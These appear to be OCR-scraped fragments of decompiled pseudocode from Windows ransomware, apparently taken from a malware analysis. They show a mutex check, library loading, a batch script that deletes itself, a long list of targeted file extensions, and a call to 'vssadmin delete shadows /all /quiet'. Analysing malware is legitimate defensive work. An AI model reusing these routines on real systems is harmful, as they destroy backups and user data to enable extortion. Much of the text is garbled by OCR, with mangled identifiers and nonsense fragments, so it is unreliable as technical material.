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b _405F30:

call sub_ 405650
call sub_ 405870
call sub_ 405000
call =ub_405E30
1es1 SEM, SR
i shoet, Tam 40GFAR .
|
falszs irue
il call =uh 4I6EA
o call = 405TE
Rr==30 S, SaM
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=h ez E
=h pu
11 =ub_407ES0 (=%
v ez, dsis] ma
d e, 4 = ad
=h 300000 1 dubi 111 saconds pu
11 ezl § Sle=p ca
sh I prh offset irk 40FIAD P
! 2$—4f55” Ball  sub_409430 o o, e =
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3Y ul? = 1665592991 ;
48| LoadLibrarya(“wlanapi.dl11");
1 LoadLibraryA{"'ntdll.d11"};
42| LoadLibraryf{"'mpr.d11");
43| LoadLibrarya(“iphlpapi.dll™);
44| sub_4@S64@(&v13, 9, &u7, 4);
45| WsAStartup(2u, &WSAData);
46| ColInitialize(8);
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n_mm=aes Ub s 9949 8

= o ex g
= CreateFileW{. ., OxSUUWIOUY, 30, ¥, 30T, U, 0Y;

if (1= (HANDLE)-1 )

WsaData.lpVUendorInfo = @5
SetFilePointer{vS, -18248, B8, 2u);
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ull = GetCommandLineW{)};
result = CommandLineToArguW{uvB, &v6);
if (v == 2 )
{
result = (LPWSTR #=)result[1];
if ( ={_WORD =)result == 180 && *={{_ WORD =)result + 1) )}

if { AttachConsole{@<FFFFFFFF) )}
{

- L

9 wb

s w1
14 n?

al;
GetCommandLineW({};
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Lo sub_4B5C08(

= uh OpenProcess ui
13 nh
B ExitProcess

0x05' € N G D

CloseHandle{u1);

S5leepEx{B8x2A%8u, A);

CreateMutexna{d, 1, va);

if { GetLastError{) ==
result = 1;

183 )
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return result;
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vl = RetKenhnardl aunntl istf1A8  FHEL *\qur\-
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mac ssid H A

13| vz - 0:

14| sub_LBYDDA({int)&us);

U3 = sub_4BB1CO((int)&us);
if (v3 >=8)

17
sub_489DDB{{int}&duHunber0fBytesn
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E; sub_LA98LA a1,
26 v2
27
28
29
Jjtesfivailable : aa sub_RBBRAGA Y duHunber0FBL
IfBytesavailable. w7:: 31 Sub_4896F 40 a1, dubumberi
32 il
Jtesfivailable) a3 shh_h89F1ﬂf'dwNumherﬂFm
34 sub_489F180 wd,
a5 result 2
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16| w3 = sub_4@72A0(v2);
17| wh = {const CHAR =)sub_ 4BAABB{"%s\\_ config%u.bat", u3)};
18 U5 = CreateFileA(vs, Bx40000886u, 7u, 6, 2u, B8x102u, 8);
19 if { w5 == {HAHDLE)-1 )}
28] {
21 result = @;
22 ¥
23| else
2 {
25 ui = {const CHAR #=)sub_L4BARBA{
26 "rabxivrywn”
27 "ping 127.08.68.1 -n 2 > nulyriyn"
28 "del /A /F FQ \"ESVU\NFART
29 "if exist \"%s\" goto abxirin®
38 "del /A FF J0Q \Es\UAWFADT,
31 ul,
32 v, I
33 uly;
10 ug = u?f;
35 3 = 1lstrlenA{v?);
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.dat .mx0 .cd .pdb .xgx .old .cnt .rtp .gss .gst .fx0 .fx1 .ipg .ert .pic .img.cur .fxr .slk .m4u .mpe .mov .wmv .mpg

vob .mpeg .3g2 .m4v .avi .mp4 flv.mkv .3gp .asf .m3u.m3u8 .wav .mp3 .m4a.m .rm .flac .mp2 .mpa .aac .w
ma .djv.pdf .djvu .jpeg .jpg?www.2cto.com .bmp .png?www.2cto.com .jp2 .1z .rz .zipx .gz .bz2 .s7z .tar .7z .tgz.r
ar .zip .arc .paq .bak .set .back .std .vmx .vmdk .vdi .qcow .ini .accd .db.sqli .sdf .mdf .myd .frm .odb .myi .dbf .i
ndb .mdb .ibd .sql .cgn .dcr .fpx.pex .rif .tga .wpg .wi .wmf .tif .xcf .tiff .xpm .nef .orf .ra .bay .pcd .dng.ptx .r3d .
raf .rw2 .rwl .kdc .yuv .sr2 .srf .dip .x3f .mef .raw .log .odg .uop.potx .potm .pptx .rss .pptm .aaf .xla .sxd .pot .e
ps .as3 .pns .wpd .wps .msg.pps .xlam .xIl .ost .sti .sxi .otp .odp .wks .vcf .xltx .xltm .xlsx .xIsm.xlsb .cntk .xlw .x|
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= 156;
= GetVersionExzA{(
if ¢ )
= v4 + 18 = v3;

return sub_ 404F88(L"vssadmin™, L"delete shadows /fall fquiet™,
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= sub_4887D0(8u, 102);
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